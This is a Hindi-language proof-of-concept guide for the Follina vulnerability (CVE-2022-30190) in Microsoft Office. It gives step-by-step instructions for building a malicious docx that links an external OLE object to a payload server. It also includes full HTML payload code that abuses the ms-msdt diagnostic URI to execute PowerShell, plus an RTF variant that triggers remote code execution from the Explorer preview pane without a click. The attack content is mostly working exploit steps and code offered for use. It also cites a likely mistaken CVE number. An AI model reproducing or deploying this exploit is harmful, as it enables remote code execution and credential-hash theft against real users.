
CVE-2022-30190 (Follina) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो ms-msdt URI हैंडलर का उपयोग करके निर्मित Microsoft Office दस्तावेज़ों के माध्यम से रिमोट कोड निष्पादन का प्रदर्शन करता है।
जानकारी : PowerShell को निष्पादित करने के लिए हमलों में इस्तेमाल किया गया नया Microsoft Office ज़ीरो-डे
29 मई 2022 को, Nao_Sec टीम, एक स्वतंत्र साइबर सुरक्षा अनुसंधान टीम ने, Virustotal पर साझा किया गया एक दुर्भावनापूर्ण Office दस्तावेज़ खोजा। यह दस्तावेज़ अपने पीड़ितों को संक्रमित करने के लिए एक असामान्य, लेकिन ज्ञात योजना का उपयोग कर रहा है। इस योजना को कुछ EDR, जैसे Microsoft Defender for Endpoint, द्वारा दुर्भावनापूर्ण के रूप में नहीं पहचाना गया था। यह भेद्यता उपयोगकर्ता की सहभागिता के बिना कोड निष्पादन का कारण बन सकती है, क्योंकि इसमें मैक्रोज़ शामिल नहीं हैं, सिवाय इसके कि Protected View मोड सक्षम हो। अभी तक कोई CVE संख्या निर्धारित नहीं की गई है।
इस भेद्यता का शोषण MSProtocol URI योजना का उपयोग करके कुछ कोड लोड करने के लिए किया जा रहा है। हमलावर Microsoft Office दस्तावेज़ों, टेम्पलेट्स या ईमेल के अंदर दुर्भावनापूर्ण लिंक एम्बेड कर सकते हैं जो ms-msdt: से शुरू होते हैं, जो उपयोगकर्ता की सहभागिता के बिना बाद में लोड और निष्पादित होंगे
MS Office docx फ़ाइलों में HTML फ़ाइलों के रूप में बाहरी OLE Object संदर्भ हो सकते हैं। एक HTML स्कीम "ms-msdt:" है जो msdt डायग्नोस्टिक टूल को आमंत्रित करती है, जो मनमाना कोड (पैरामीटर में निर्दिष्ट) निष्पादित करने में सक्षम है।
परिणाम दुर्भावनापूर्ण docx फ़ाइलों (मैक्रोज़ का उपयोग किए बिना) को खोलने के माध्यम से RCE प्राप्त करने के लिए एक भयानक हमला वेक्टर है।
Proof-of-Concept docx बनाने के चरण यहाँ दिए गए हैं:
Word खोलें (अद्यतित 2019 Pro, 16.0.10386.20017 का उपयोग किया गया), एक डमी दस्तावेज़ बनाएँ, एक (OLE) ऑब्जेक्ट (Bitmap Image के रूप में) डालें, इसे docx में सहेजें।
docx संरचना में word/_rels/document.xml.rels संपादित करें (यह एक साधारण zip है)। विशेषता के साथ XML टैग <Relationship> संशोधित करें
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
और Target मान बदलकर तथा TargetMode विशेषता जोड़कर Target="embeddings/oleObject1.bin" को संशोधित करें:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Id मान पर ध्यान दें (संभवतः यह "rId5" है)।
word/document.xml संपादित करें। "<o:OLEObject ..>" टैग (जिसमें r:id="rId5") खोजें और विशेषता को Type="Embed" से Type="Link" में बदलें तथा UpdateMode="OnCall" विशेषता जोड़ें।नोट: बनाया गया दुर्भावनापूर्ण docx लगभग CVE-2021-44444 के समान है।
http://<payload_server>/payload.html पर सर्व करें:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
ध्यान दें कि:
इसके अलावा, ट्रिगर करने वाला पेलोड दूरस्थ स्थानों तक पहुँच सकता है। हालांकि इससे अविश्वसनीय बाइनरी को आमंत्रित करने की संभावना नहीं है, कनेक्शन में अभी भी NTLM हैश होंगे (जिसका अर्थ है कि बुरे अभिनेताओं के पास अब पीड़ित के Windows पासवर्ड का हैश है) जिसका उपयोग हमलावर आगे पोस्ट-एक्सप्लॉइटेशन के लिए कर सकता है।
यदि आप चरण 3 में word/document.xml में <o:OLEObject> तत्व के अंतर्गत ये तत्व भी जोड़ते हैं:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
तो यह RTF के रूप में भी काम करेगा (परिणामी docx खोलें और इसे RTF के रूप में सहेजें)।
RTF के साथ, फ़ाइल को Word में खोलने की आवश्यकता नहीं है, फ़ाइल को ब्राउज़ करना और पूर्वावलोकन फलक में देखना पर्याप्त है। पूर्वावलोकन फलक बाहरी HTML पेलोड को ट्रिगर करता है और बिना किसी क्लिक के RCE होता है।